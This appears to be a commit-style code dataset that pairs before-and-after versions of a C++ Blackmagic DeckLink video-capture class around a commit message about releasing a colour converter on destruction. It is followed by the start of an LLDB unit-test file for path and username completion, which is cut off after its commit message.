get DeckLink device \").append(std::to_string(deck_link_index))\n );\n\n \/\/ Get the input interface of connected DeckLink port\n res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast(&_deck_link_input));\n \/\/ No glory: release everything and throw exception\n if (res != S_OK)\n bail(\"Could not get the Blackmagic DeckLink input interface\");\n\n \/\/ Set the input format (i.e. display mode)\n BMDDisplayMode display_mode;\n std::string error_msg = \"\";\n if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n {\n _video_input_flags ^= bmdVideoInputDualStream3D;\n if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n bail(error_msg);\n }\n\n \/\/ Set this object (IDeckLinkInputCallback instance) as callback\n res = _deck_link_input->SetCallback(this);\n \/\/ No glory: release everything and throw exception\n if (res != S_OK)\n bail(\"Could not set the callback of Blackmagic DeckLink device\");\n\n \/\/ Enable video input\n res = _deck_link_input->EnableVideoInput(display_mode,\n pixel_format,\n _video_input_flags);\n \/\/ No glory\n if (res != S_OK)\n bail(\"Could not enable video input of Blackmagic DeckLink device\");\n\n \/\/ Start streaming\n _running = true;\n res = _deck_link_input->StartStreams();\n \/\/ No glory: release everything and throw exception\n if (res != S_OK)\n {\n _running = false;\n bail(\"Could not start streaming from the Blackmagic DeckLink device\");\n }\n\n if (_colour == BGRA)\n {\n _12_bit_rgb_to_bgra_converter = CreateVideoConversionInstance();\n if (_12_bit_rgb_to_bgra_converter == nullptr)\n bail(\"Could not create colour converter for Blackmagic source\");\n }\n}\n\n\nVideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()\n{\n { \/\/ Artificial scope for data lock\n \/\/ Make sure streamer thread not trying to access buffer\n std::lock_guard data_lock_guard(_data_lock);\n _running = false;\n }\n\n \/\/ Stop streaming and disable enabled inputs\n _deck_link_input->SetCallback(nullptr);\n _deck_link_input->StopStreams();\n _deck_link_input->DisableVideoInput();\n\n \/\/ Release DeckLink members\n release_deck_link();\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)\n{\n \/\/ Make sure only this thread is accessing the cols and rows members now\n std::lock_guard data_lock_guard(_data_lock);\n if (_cols <= 0 or _rows <= 0)\n return false;\n\n width = _cols;\n height = _rows;\n return true;\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)\n{\n if (frame.colour() != _colour)\n return false;\n\n \/\/ Make sure only this thread is accessing the video frame data now\n std::lock_guard data_lock_guard(_data_lock);\n\n if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)\n {\n frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);\n return true;\n }\n else\n return false;\n}\n\n\ndouble VideoSourceBlackmagicSDK::get_frame_rate()\n{\n return _frame_rate;\n}\n\n\nvoid VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)\n{\n \/\/ issue #147\n throw VideoSourceError(\"Blackmagic does not support cropping yet\");\n}\n\n\nvoid VideoSourceBlackmagicSDK::get_full_frame()\n{\n \/\/ nop: set_sub_frame currently not implemented\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)\n{\n return E_NOINTERFACE;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)\n{\n __sync_add_and_fetch(&_n_ref, 1);\n return _n_ref;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)\n{\n __sync_sub_and_fetch(&_n_ref, 1);\n return _n_ref;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(\n BMDVideoInputFormatChangedEvents events,\n IDeckLinkDisplayMode * display_mode,\n BMDDetectedVideoInputFormatFlags format_flags\n)\n{\n \/\/ not supported yet: see issue #149\n return S_OK;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(\n IDeckLinkVideoInputFrame * video_frame,\n IDeckLinkAudioInputPacket * audio_packet\n)\n{\n if (not _running)\n \/\/ nop if not running!\n return S_OK;\n\n \/\/ Not processing the audio packet, but only the video\n \/\/ frame for the time being\n if (video_frame == nullptr)\n \/\/ nop if no data\n return S_OK;\n\n \/\/ Nr. of bytes of received data\n size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();\n if (is_stereo())\n n_bytes *= 2;\n\n { \/\/ Artificial scope for data lock\n \/\/ Make sure only this thread is accessing the buffer now\n std::lock_guard data_lock_guard(_data_lock);\n\n \/\/ Extend buffer if more memory needed than already allocated\n if (n_bytes > _video_buffer_length)\n _video_buffer = reinterpret_cast(\n realloc(_video_buffer, n_bytes * sizeof(uint8_t))\n );\n if (_video_buffer == nullptr) \/\/ something's terribly wrong!\n \/\/ nop if something's terribly wrong!\n return S_OK;\n\n \/\/ Get the new data into the buffer\n HRESULT res = video_frame->GetBytes(\n reinterpret_cast(&_video_buffer)\n );\n \/\/ If data could not be read into the buffer, return\n if (FAILED(res))\n return res;\n\n if (is_stereo())\n {\n IDeckLinkVideoFrame *right_eye_frame = nullptr;\n IDeckLinkVideoFrame3DExtensions *three_d_extensions = nullptr;\n if ((video_frame->QueryInterface(\n IID_IDeckLinkVideoFrame3DExtensions,\n (void **) &three_d_extensions) != S_OK) ||\n (three_d_extensions->GetFrameForRightEye(\n &right_eye_frame) != S_OK))\n {\n right_eye_frame = nullptr;\n }\n\n if (three_d_extensions != nullptr)\n three_d_extensions->Release();\n\n if (right_eye_frame != nullptr)\n {\n res = right_eye_frame->GetBytes(\n reinterpret_cast(&_video_buffer[n_bytes \/ 2])\n );\n right_eye_frame->Release();\n \/\/ If data could not be read into the buffer, return\n if (FAILED(res))\n return res;\n }\n }\n\n \/\/ Set video frame specs according to new data\n _video_buffer_length = n_bytes;\n _cols = video_frame->GetWidth();\n _rows = video_frame->GetHeight();\n\n \/\/ Propagate new video frame to observers\n _buffer_video_frame.init_from_specs(\n _video_buffer, _video_buffer_length, _cols, _rows,\n is_stereo() ? 2 : 1\n );\n }\n\n this->notify(_buffer_video_frame);\n\n \/\/ Everything went fine, return success\n return S_OK;\n}\n\n\nvoid VideoSourceBlackmagicSDK::release_deck_link() noexcept\n{\n if (_deck_link_input != nullptr)\n {\n _deck_link_input->Release();\n _deck_link_input = nullptr;\n }\n\n if (_deck_link != nullptr)\n _deck_link->Release();\n}\n\n\nbool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,\n BMDVideoInputFlags & video_input_flags,\n BMDDisplayMode & display_mode,\n double & frame_rate,\n std::string & error_msg) noexcept\n{\n std::vector display_modes =\n {\n bmdModeHD1080p6000, bmdModeHD1080p5994,\n bmdModeHD1080p50,\n bmdModeHD1080p30, bmdModeHD1080p2997,\n bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,\n bmdModeHD1080i6000, bmdModeHD1080i5994,\n bmdModeHD1080i50,\n bmdModeHD720p60, bmdModeHD720p5994,\n bmdModeHD720p50,\n bmdMode4K2160p60, bmdMode4K2160p5994,\n bmdMode4K2160p50,\n bmdMode4K2160p30, bmdMode4K2160p2997,\n bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,\n bmdMode2k25, bmdMode2k24, bmdMode2k2398,\n };\n\n DeckLinkDisplayModeDetector detector(\n _deck_link_input,\n display_modes, pixel_format, video_input_flags\n );\n BMDDisplayMode display_mode_ = detector.get_display_mode();\n if (display_mode_ != bmdModeUnknown)\n {\n frame_rate = detector.get_frame_rate();\n display_mode = display_mode_;\n video_input_flags = detector.get_video_input_flags();\n return true;\n }\n else\n {\n error_msg = detector.get_error_msg();\n return false;\n }\n}\n\n}\nIssue #30: releasing DeckLink converter upon destruction#include \"blackmagicsdk_video_source.h\"\n#include \"deck_link_display_mode_detector.h\"\n#include \n\nnamespace gg\n{\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()\n : IVideoSource()\n , _frame_rate(0.0)\n , _video_buffer(nullptr)\n , _video_buffer_length(0)\n , _cols(0)\n , _rows(0)\n , _buffer_video_frame(VideoFrame(UYVY))\n , _running(false)\n{\n \/\/ nop\n}\n\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,\n ColourSpace colour)\n : IVideoSource(colour)\n , _frame_rate(0.0)\n , _video_buffer(nullptr)\n , _video_buffer_length(0)\n , _cols(0)\n , _rows(0)\n , _buffer_video_frame(VideoFrame(colour, false)) \/\/ TODO manage data?\n , _deck_link(nullptr)\n , _deck_link_input(nullptr)\n , _video_input_flags(bmdVideoInputFlagDefault | bmdVideoInputDualStream3D)\n , _12_bit_rgb_to_bgra_converter(nullptr)\n , _bgra_frame_buffers({nullptr, nullptr})\n , _running(false)\n{\n \/\/ Pixel format, i.e. colour space\n BMDPixelFormat pixel_format;\n switch(_colour)\n {\n case UYVY:\n pixel_format = bmdFormat8BitYUV;\n break;\n case BGRA:\n pixel_format = bmdFormat8BitBGRA;\n break;\n case I420:\n default:\n bail(\"BlackmagicSDK video source supports only UYVY and BGRA colour spaces\");\n }\n\n \/\/ Get an iterator through the available DeckLink ports\n IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();\n if (deck_link_iterator == nullptr)\n bail(\"DeckLink drivers do not appear to be installed\");\n\n HRESULT res;\n\n \/\/ Get the desired DeckLink index (port)\n int idx = deck_link_index;\n while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)\n {\n if (idx == 0)\n break;\n --idx;\n\n _deck_link->Release();\n }\n if (deck_link_iterator != nullptr)\n deck_link_iterator->Release();\n \/\/ No glory: release everything and throw exception\n if (res != S_OK or _deck_link == nullptr)\n bail(\n std::string(\"Could not get DeckLink device \").append(std::to_string(deck_link_index))\n );\n\n \/\/ Get the input interface of connected DeckLink port\n res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast(&_deck_link_input));\n \/\/ No glory: release everything and throw exception\n if (res != S_OK)\n bail(\"Could not get the Blackmagic DeckLink input interface\");\n\n \/\/ Set the input format (i.e. display mode)\n BMDDisplayMode display_mode;\n std::string error_msg = \"\";\n if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n {\n _video_input_flags ^= bmdVideoInputDualStream3D;\n if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))\n bail(error_msg);\n }\n\n \/\/ Set this object (IDeckLinkInputCallback instance) as callback\n res = _deck_link_input->SetCallback(this);\n \/\/ No glory: release everything and throw exception\n if (res != S_OK)\n bail(\"Could not set the callback of Blackmagic DeckLink device\");\n\n \/\/ Enable video input\n res = _deck_link_input->EnableVideoInput(display_mode,\n pixel_format,\n _video_input_flags);\n \/\/ No glory\n if (res != S_OK)\n bail(\"Could not enable video input of Blackmagic DeckLink device\");\n\n \/\/ Start streaming\n _running = true;\n res = _deck_link_input->StartStreams();\n \/\/ No glory: release everything and throw exception\n if (res != S_OK)\n {\n _running = false;\n bail(\"Could not start streaming from the Blackmagic DeckLink device\");\n }\n\n if (_colour == BGRA)\n {\n _12_bit_rgb_to_bgra_converter = CreateVideoConversionInstance();\n if (_12_bit_rgb_to_bgra_converter == nullptr)\n bail(\"Could not create colour converter for Blackmagic source\");\n }\n}\n\n\nVideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()\n{\n { \/\/ Artificial scope for data lock\n \/\/ Make sure streamer thread not trying to access buffer\n std::lock_guard data_lock_guard(_data_lock);\n _running = false;\n }\n\n \/\/ Stop streaming and disable enabled inputs\n _deck_link_input->SetCallback(nullptr);\n _deck_link_input->StopStreams();\n _deck_link_input->DisableVideoInput();\n\n \/\/ Release DeckLink members\n release_deck_link();\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)\n{\n \/\/ Make sure only this thread is accessing the cols and rows members now\n std::lock_guard data_lock_guard(_data_lock);\n if (_cols <= 0 or _rows <= 0)\n return false;\n\n width = _cols;\n height = _rows;\n return true;\n}\n\n\nbool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)\n{\n if (frame.colour() != _colour)\n return false;\n\n \/\/ Make sure only this thread is accessing the video frame data now\n std::lock_guard data_lock_guard(_data_lock);\n\n if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)\n {\n frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);\n return true;\n }\n else\n return false;\n}\n\n\ndouble VideoSourceBlackmagicSDK::get_frame_rate()\n{\n return _frame_rate;\n}\n\n\nvoid VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)\n{\n \/\/ issue #147\n throw VideoSourceError(\"Blackmagic does not support cropping yet\");\n}\n\n\nvoid VideoSourceBlackmagicSDK::get_full_frame()\n{\n \/\/ nop: set_sub_frame currently not implemented\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)\n{\n return E_NOINTERFACE;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)\n{\n __sync_add_and_fetch(&_n_ref, 1);\n return _n_ref;\n}\n\n\nULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)\n{\n __sync_sub_and_fetch(&_n_ref, 1);\n return _n_ref;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(\n BMDVideoInputFormatChangedEvents events,\n IDeckLinkDisplayMode * display_mode,\n BMDDetectedVideoInputFormatFlags format_flags\n)\n{\n \/\/ not supported yet: see issue #149\n return S_OK;\n}\n\n\nHRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(\n IDeckLinkVideoInputFrame * video_frame,\n IDeckLinkAudioInputPacket * audio_packet\n)\n{\n if (not _running)\n \/\/ nop if not running!\n return S_OK;\n\n \/\/ Not processing the audio packet, but only the video\n \/\/ frame for the time being\n if (video_frame == nullptr)\n \/\/ nop if no data\n return S_OK;\n\n \/\/ Nr. of bytes of received data\n size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();\n if (is_stereo())\n n_bytes *= 2;\n\n { \/\/ Artificial scope for data lock\n \/\/ Make sure only this thread is accessing the buffer now\n std::lock_guard data_lock_guard(_data_lock);\n\n \/\/ Extend buffer if more memory needed than already allocated\n if (n_bytes > _video_buffer_length)\n _video_buffer = reinterpret_cast(\n realloc(_video_buffer, n_bytes * sizeof(uint8_t))\n );\n if (_video_buffer == nullptr) \/\/ something's terribly wrong!\n \/\/ nop if something's terribly wrong!\n return S_OK;\n\n \/\/ Get the new data into the buffer\n HRESULT res = video_frame->GetBytes(\n reinterpret_cast(&_video_buffer)\n );\n \/\/ If data could not be read into the buffer, return\n if (FAILED(res))\n return res;\n\n if (is_stereo())\n {\n IDeckLinkVideoFrame *right_eye_frame = nullptr;\n IDeckLinkVideoFrame3DExtensions *three_d_extensions = nullptr;\n if ((video_frame->QueryInterface(\n IID_IDeckLinkVideoFrame3DExtensions,\n (void **) &three_d_extensions) != S_OK) ||\n (three_d_extensions->GetFrameForRightEye(\n &right_eye_frame) != S_OK))\n {\n right_eye_frame = nullptr;\n }\n\n if (three_d_extensions != nullptr)\n three_d_extensions->Release();\n\n if (right_eye_frame != nullptr)\n {\n res = right_eye_frame->GetBytes(\n reinterpret_cast(&_video_buffer[n_bytes \/ 2])\n );\n right_eye_frame->Release();\n \/\/ If data could not be read into the buffer, return\n if (FAILED(res))\n return res;\n }\n }\n\n \/\/ Set video frame specs according to new data\n _video_buffer_length = n_bytes;\n _cols = video_frame->GetWidth();\n _rows = video_frame->GetHeight();\n\n \/\/ Propagate new video frame to observers\n _buffer_video_frame.init_from_specs(\n _video_buffer, _video_buffer_length, _cols, _rows,\n is_stereo() ? 2 : 1\n );\n }\n\n this->notify(_buffer_video_frame);\n\n \/\/ Everything went fine, return success\n return S_OK;\n}\n\n\nvoid VideoSourceBlackmagicSDK::release_deck_link() noexcept\n{\n if (_deck_link_input != nullptr)\n {\n _deck_link_input->Release();\n _deck_link_input = nullptr;\n }\n\n if (_deck_link != nullptr)\n _deck_link->Release();\n\n if (_12_bit_rgb_to_bgra_converter != nullptr)\n {\n _12_bit_rgb_to_bgra_converter->Release();\n _12_bit_rgb_to_bgra_converter = nullptr;\n }\n}\n\n\nbool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,\n BMDVideoInputFlags & video_input_flags,\n BMDDisplayMode & display_mode,\n double & frame_rate,\n std::string & error_msg) noexcept\n{\n std::vector display_modes =\n {\n bmdModeHD1080p6000, bmdModeHD1080p5994,\n bmdModeHD1080p50,\n bmdModeHD1080p30, bmdModeHD1080p2997,\n bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,\n bmdModeHD1080i6000, bmdModeHD1080i5994,\n bmdModeHD1080i50,\n bmdModeHD720p60, bmdModeHD720p5994,\n bmdModeHD720p50,\n bmdMode4K2160p60, bmdMode4K2160p5994,\n bmdMode4K2160p50,\n bmdMode4K2160p30, bmdMode4K2160p2997,\n bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,\n bmdMode2k25, bmdMode2k24, bmdMode2k2398,\n };\n\n DeckLinkDisplayModeDetector detector(\n _deck_link_input,\n display_modes, pixel_format, video_input_flags\n );\n BMDDisplayMode display_mode_ = detector.get_display_mode();\n if (display_mode_ != bmdModeUnknown)\n {\n frame_rate = detector.get_frame_rate();\n display_mode = display_mode_;\n video_input_flags = detector.get_video_input_flags();\n return true;\n }\n else\n {\n error_msg = detector.get_error_msg();\n return false;\n }\n}\n\n}\n<|endoftext|>"} {"text":"\/\/===-- TestCompletion.cpp --------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lldb\/Interpreter\/CommandCompletions.h\"\n#include \"lldb\/Utility\/StringList.h\"\n#include \"lldb\/Utility\/TildeExpressionResolver.h\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n\n#include \"TestingSupport\/MockTildeExpressionResolver.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/Path.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace fs = llvm::sys::fs;\nnamespace path = llvm::sys::path;\nusing namespace llvm;\nusing namespace lldb_private;\n\n#define ASSERT_NO_ERROR(x) \\\n if (std::error_code ASSERT_NO_ERROR_ec = x) { \\\n SmallString<128> MessageStorage; \\\n raw_svector_ostream Message(MessageStorage); \\\n Message << #x \": did not return errc::success.\\n\" \\\n << \"error number: \" << ASSERT_NO_ERROR_ec.value() << \"\\n\" \\\n << \"error message: \" << ASSERT_NO_ERROR_ec.message() << \"\\n\"; \\\n GTEST_FATAL_FAILURE_(MessageStorage.c_str()); \\\n } else { \\\n }\n\nnamespace {\n\nclass CompletionTest : public testing::Test {\nprotected:\n \/\/\/ Unique temporary directory in which all created filesystem entities must\n \/\/\/ be placed. It is removed at the end of the test suite.\n SmallString<128> BaseDir;\n\n \/\/\/ The working directory that we got when starting the test. Every test\n \/\/\/ should chdir into this directory first because some tests maybe chdir\n \/\/\/ into another one during their run.\n static SmallString<128> OriginalWorkingDir;\n\n SmallString<128> DirFoo;\n SmallString<128> DirFooA;\n SmallString<128> DirFooB;\n SmallString<128> DirFooC;\n SmallString<128> DirBar;\n SmallString<128> DirBaz;\n SmallString<128> DirTestFolder;\n SmallString<128> DirNested;\n\n SmallString<128> FileAA;\n SmallString<128> FileAB;\n SmallString<128> FileAC;\n SmallString<128> FileFoo;\n SmallString<128> FileBar;\n SmallString<128> FileBaz;\n\n void SetUp() override {\n \/\/ chdir back into the original working dir this test binary started with.\n \/\/ A previous test may have have changed the working dir.\n ASSERT_NO_ERROR(fs::set_current_path(OriginalWorkingDir));\n\n \/\/ Get the name of the current test. To prevent that by chance two tests\n \/\/ get the same temporary directory if createUniqueDirectory fails.\n auto test_info = ::testing::UnitTest::GetInstance()->current_test_info();\n ASSERT_TRUE(test_info != nullptr);\n std::string name = test_info->name();\n ASSERT_NO_ERROR(fs::createUniqueDirectory(\"FsCompletion-\" + name, BaseDir));\n\n const char *DirNames[] = {\"foo\", \"fooa\", \"foob\", \"fooc\",\n \"bar\", \"baz\", \"test_folder\", \"foo\/nested\"};\n const char *FileNames[] = {\"aa1234.tmp\", \"ab1234.tmp\", \"ac1234.tmp\",\n \"foo1234.tmp\", \"bar1234.tmp\", \"baz1234.tmp\"};\n SmallString<128> *Dirs[] = {&DirFoo, &DirFooA, &DirFooB, &DirFooC,\n &DirBar, &DirBaz, &DirTestFolder, &DirNested};\n for (auto Dir : llvm::zip(DirNames, Dirs)) {\n auto &Path = *std::get<1>(Dir);\n Path = BaseDir;\n path::append(Path, std::get<0>(Dir));\n ASSERT_NO_ERROR(fs::create_directories(Path));\n }\n\n SmallString<128> *Files[] = {&FileAA, &FileAB, &FileAC,\n &FileFoo, &FileBar, &FileBaz};\n for (auto File : llvm::zip(FileNames, Files)) {\n auto &Path = *std::get<1>(File);\n Path = BaseDir;\n path::append(Path, std::get<0>(File));\n int FD;\n ASSERT_NO_ERROR(fs::createUniqueFile(Path, FD, Path));\n ::close(FD);\n }\n }\n\n static void SetUpTestCase() {\n ASSERT_NO_ERROR(fs::current_path(OriginalWorkingDir));\n }\n\n void TearDown() override { ASSERT_NO_ERROR(fs::remove_directories(BaseDir)); }\n\n static bool HasEquivalentFile(const Twine &Path, const StringList &Paths) {\n for (size_t I = 0; I < Paths.GetSize(); ++I) {\n if (fs::equivalent(Path, Paths[I]))\n return true;\n }\n return false;\n }\n\n void DoDirCompletions(const Twine &Prefix,\n StandardTildeExpressionResolver &Resolver,\n StringList &Results) {\n \/\/ When a partial name matches, it returns all matches. If it matches both\n \/\/ a full name AND some partial names, it returns all of them.\n uint32_t Count =\n CommandCompletions::DiskDirectories(Prefix + \"foo\", Results, Resolver);\n ASSERT_EQ(4u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n\n \/\/ If it matches only partial names, it still works as expected.\n Count = CommandCompletions::DiskDirectories(Twine(Prefix) + \"b\", Results,\n Resolver);\n ASSERT_EQ(2u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirBar, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBaz, Results));\n }\n};\n\nSmallString<128> CompletionTest::OriginalWorkingDir;\n}\n\nstatic std::vector toVector(const StringList &SL) {\n std::vector Result;\n for (size_t Idx = 0; Idx < SL.GetSize(); ++Idx)\n Result.push_back(SL[Idx]);\n return Result;\n}\nusing testing::UnorderedElementsAre;\n\nTEST_F(CompletionTest, DirCompletionAbsolute) {\n \/\/ All calls to DiskDirectories() return only directories, even when\n \/\/ there are files which also match. The tests below all check this\n \/\/ by asserting an exact result count, and verifying against known\n \/\/ folders.\n\n std::string Prefixes[] = {(Twine(BaseDir) + \"\/\").str(), \"\"};\n\n StandardTildeExpressionResolver Resolver;\n StringList Results;\n\n \/\/ When a directory is specified that doesn't end in a slash, it searches\n \/\/ for that directory, not items under it.\n size_t Count =\n CommandCompletions::DiskDirectories(BaseDir, Results, Resolver);\n ASSERT_EQ(1u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(BaseDir, Results));\n\n \/\/ When the same directory ends with a slash, it finds all children.\n Count = CommandCompletions::DiskDirectories(Prefixes[0], Results, Resolver);\n ASSERT_EQ(7u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBar, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBaz, Results));\n EXPECT_TRUE(HasEquivalentFile(DirTestFolder, Results));\n\n DoDirCompletions(Twine(BaseDir) + \"\/\", Resolver, Results);\n llvm::sys::fs::set_current_path(BaseDir);\n DoDirCompletions(\"\", Resolver, Results);\n}\n\nTEST_F(CompletionTest, FileCompletionAbsolute) {\n \/\/ All calls to DiskFiles() return both files and directories The tests below\n \/\/ all check this by asserting an exact result count, and verifying against\n \/\/ known folders.\n\n StandardTildeExpressionResolver Resolver;\n StringList Results;\n \/\/ When an item is specified that doesn't end in a slash but exactly matches\n \/\/ one item, it returns that item.\n size_t Count = CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/fooa\",\n Results, Resolver);\n ASSERT_EQ(1u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n\n \/\/ The previous check verified a directory match. But it should work for\n \/\/ files too.\n Count =\n CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/aa\", Results, Resolver);\n ASSERT_EQ(1u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(FileAA, Results));\n\n \/\/ When it ends with a slash, it should find all files and directories.\n Count =\n CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/\", Results, Resolver);\n ASSERT_EQ(13u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBar, Results));\n EXPECT_TRUE(HasEquivalentFile(DirBaz, Results));\n EXPECT_TRUE(HasEquivalentFile(DirTestFolder, Results));\n\n EXPECT_TRUE(HasEquivalentFile(FileAA, Results));\n EXPECT_TRUE(HasEquivalentFile(FileAB, Results));\n EXPECT_TRUE(HasEquivalentFile(FileAC, Results));\n EXPECT_TRUE(HasEquivalentFile(FileFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(FileBar, Results));\n EXPECT_TRUE(HasEquivalentFile(FileBaz, Results));\n\n \/\/ When a partial name matches, it returns all file & directory matches.\n Count =\n CommandCompletions::DiskFiles(Twine(BaseDir) + \"\/foo\", Results, Resolver);\n ASSERT_EQ(5u, Count);\n ASSERT_EQ(Count, Results.GetSize());\n EXPECT_TRUE(HasEquivalentFile(DirFoo, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooA, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooB, Results));\n EXPECT_TRUE(HasEquivalentFile(DirFooC, Results));\n EXPECT_TRUE(HasEquivalentFile(FileFoo, Results));\n}\n\nTEST_F(CompletionTest, DirCompletionUsername) {\n MockTildeExpressionResolver Resolver(\"James\", BaseDir);\n Resolver.AddKnownUser(\"Kirk\", DirFooB);\n Resolver.AddKnownUser(\"Lars\", DirFooC);\n Resolver.AddKnownUser(\"Jason\", DirFoo);\n Resolver.AddKnownUser(\"Larry\", DirFooA);\n std::string sep = path::get_separator();\n\n \/\/ Just resolving current user's home directory by itself should return the\n \/\/ directory.\n StringList Results;\n size_t Count = CommandCompletions::DiskDirectories(\"~\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~\" + sep));\n\n \/\/ With a slash appended, it should return all items in the directory.\n Count = CommandCompletions::DiskDirectories(\"~\/\", Results, Resolver);\n EXPECT_THAT(toVector(Results),\n UnorderedElementsAre(\n \"~\/foo\" + sep, \"~\/fooa\" + sep, \"~\/foob\" + sep, \"~\/fooc\" + sep,\n \"~\/bar\" + sep, \"~\/baz\" + sep, \"~\/test_folder\" + sep));\n EXPECT_EQ(Count, Results.GetSize());\n\n \/\/ Check that we can complete directories in nested paths\n Count = CommandCompletions::DiskDirectories(\"~\/foo\/\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~\/foo\/nested\" + sep));\n\n Count = CommandCompletions::DiskDirectories(\"~\/foo\/nes\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~\/foo\/nested\" + sep));\n\n \/\/ With ~username syntax it should return one match if there is an exact\n \/\/ match. It shouldn't translate to the actual directory, it should keep the\n \/\/ form the user typed.\n Count = CommandCompletions::DiskDirectories(\"~Lars\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre(\"~Lars\" + sep));\n\n \/\/ But with a username that is not found, no results are returned.\n Count = CommandCompletions::DiskDirectories(\"~Dave\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results), UnorderedElementsAre());\n\n \/\/ And if there are multiple matches, it should return all of them.\n Count = CommandCompletions::DiskDirectories(\"~La\", Results, Resolver);\n EXPECT_EQ(Count, Results.GetSize());\n EXPECT_THAT(toVector(Results),\n UnorderedElementsAre(\"~Lars\" + sep, \"~Larry\" + sep));\n}\nAdd more pre-run asserts for the DirCompletionAbsolute test\/\/===-- TestCompletion.cpp --------------------------------------*- 